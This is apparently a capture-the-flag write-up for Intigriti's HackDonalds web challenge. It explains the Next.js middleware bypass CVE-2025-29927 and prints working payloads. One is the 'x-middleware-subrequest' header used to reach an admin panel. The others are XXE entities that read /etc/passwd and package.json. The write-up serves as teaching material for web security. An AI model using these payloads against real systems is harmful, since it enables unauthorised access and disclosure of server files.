HackDonalds Intigriti CTF 2025
Welcome back to my writeup!! In this post, I’ll walk you through how I successfully pwned the HackDonalds challenge by Intigriti, a web exploitation challenge that pushed me to think critically about common web vulnerabilities. I’ll cover the entire process step by step—from how I approached the target, to identifying the core vulnerability, and ultimately exploiting it to gain control. Along the way, I’ll share the tools, techniques, and thought process I used to solve the challenge, making this write-up a solid learning resource for anyone diving into web hacking or CTFs.
Enumeration
Here's the site

As you can see, there's an admin panel

We’ll tackle this challenge with a bug bounty mindset. After reading some initial information about it, I found out that the vulnerability was based on a recently disclosed CVE. So, I decided to use Nuclei to scan and enumerate all the known CVEs from 2025 to pinpoint the exact one being used.

It turns out the vulnerability in this challenge is CVE-2025-29927 (Next.js Middleware Bypass). To understand it better, I searched for documentation and I found out that this vulnerability impacts the middleware feature in Next.js, which is often used for things like authorization, URL rewriting, server-side redirects, and setting response headers such as CSP. When exploited, it allows an attacker to bypass these controls entirely by including a specially crafted x-middleware-subrequest header in their HTTP requests.
What is Next.js Middleware?
Next.js middleware is a powerful tool that lets developers execute code before a request is fully processed. According to the official Next.js documentation, Middleware enables you to run code before a request is completed. Based on the incoming request, you can modify the response by rewriting URLs, performing redirects, changing request or response headers, or even sending a direct response. This functionality serves a variety of purposes, with some of the most important use cases including:
Path rewriting - Dynamically changing the requested path before it reaches the application logic.
Server-side redirects - Redirecting users based on certain conditions
Adding response headers - Including security headers like Content Security Policy (CSP)
Authentication and Authorization - Ensuring user identity and checking session cookies before granting access to specific pages or API routes.
One common use of middleware is for handling authorization, where specific routes are protected based on certain conditions. For instance, when a user tries to access a restricted path like /dashboard/admin, the middleware steps in to verify the session cookies and check if the user has the appropriate permissions. If everything checks out, the request proceeds; if not, the user is redirected to the login page.
How does the vulnerability actually work?
The vulnerability in CVE-2025-29927 arises from a design flaw in how Next.js handles the x-middleware-subrequest header. This header was originally intended for internal use within the Next.js framework to avoid infinite middleware execution loops. When middleware is used in a Next.js application, the runMiddleware function processes incoming requests. As part of this process, the function checks for the presence of the x-middleware-subrequest header. If the header is found and contains a specific value, the middleware is skipped, and the request is directly forwarded to its destination using NextResponse.next(). The issue is that this header check can be manipulated by external users. By adding the correct value to the x-middleware-subrequest header, an attacker can bypass any middleware-based security controls entirely. Here's how this vulnerability works at the code level
const subreqHeader = params.request.headers["x-middleware-subrequest"];
const subrequestList = (typeof subreqHeader === "string") ? subreqHeader.split(":") : [];
if (subrequestList.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
};
continue;
}This code demonstrates that if the value of the x-middleware-subrequest header, when split by the colon character (:), contains the middlewareInfo.name value, the middleware is completely bypassed.
Exploitation
Now that we know the vulnerability, how can we exploit it?
We’ll be using Burp Suite for this! Before intercepting, I go to Match and Replace and modify the request by adding this.
x-middleware-subrequest: middleware
Based on the documentation I reviewed, the next step is to identify the protected endpoint we want to access, which is clearly the admin page. So, I ran Nuclei again and modified the login endpoint to point to admin, and here’s the result.

It's confirmed. Now, all we need to do is intercept the admin endpoint, and once intercepted, here’s the request

As you can see at the very bottom, our payload has been successfully added. From here, we just need to forward the request and disable interception.
Going back to our browser, here's the result

While exploring the admin dashboard, I noticed that one of the ice cream machines includes an option to edit the XME configuration.

Hmm, when dealing with this kind of application, the first thing that probably comes to mind is an XXE (XML External Entity) vulnerability, right? You guessed it! So, I started searching for some XXE payloads and came across this one.
<!DOCTYPE test [<!ENTITY abc SYSTEM "file://etc/passwd">]>
<products>
<product>
<description>&abc;</description>
</product>
</products>Parsed it and here's the result

It worked!!! Now, the real challenge begins, where's the flag? This part is a bit tricky because we can read file contents, but we don’t have the ability to browse through directories to locate where the flag is stored.
After long time of determining where the flag is, I realized that this application is running in node, so the first thing I did is to look for package.json, which is metadata file used in Node.js projects (especially with npm or yarn) to manage the project’s dependencies, scripts, and settings.
<!DOCTYPE test [<!ENTITY abc SYSTEM "file://package.json">]>
<products>
<product>
<description>&abc;</description>
</product>
</products>Unfortunately, this one does not work, but when I only specify the file name without file://,
<!DOCTYPE test [<!ENTITY abc SYSTEM "package.json">]>
<products>
<product>
<description>&abc;</description>
</product>
</products>This is the output

This second payload works, and we got the the flag!!
Now why does the first payload failed? (But worked in /etc/passwd)
Few reasons:
The file:// scheme with an absolute path (/etc/passwd) explicitly points to a well-known file on Unix-like systems. The parser resolves this as a full filesystem path, and if the application has sufficient permissions (e.g., running as a privileged user or in an insecure container), it can access /etc/passwd.
The parser allows relative paths or the current working directory contains package.json. That's why just package.json alone works.
Conclusion
This CTF challenge from Intigriti was an exciting and engaging experience! It tested not only technical knowledge but also the ability to think critically and adapt quickly to unexpected scenarios. From identifying and exploiting the Next.js middleware bypass vulnerability (CVE-2025-29927) to crafting payloads for an XXE attack within the admin dashboard, each step pushed the boundaries of web exploitation. Overall, it was a great exercise in modern vulnerability exploitation, and I thoroughly enjoyed diving into it!
Last updated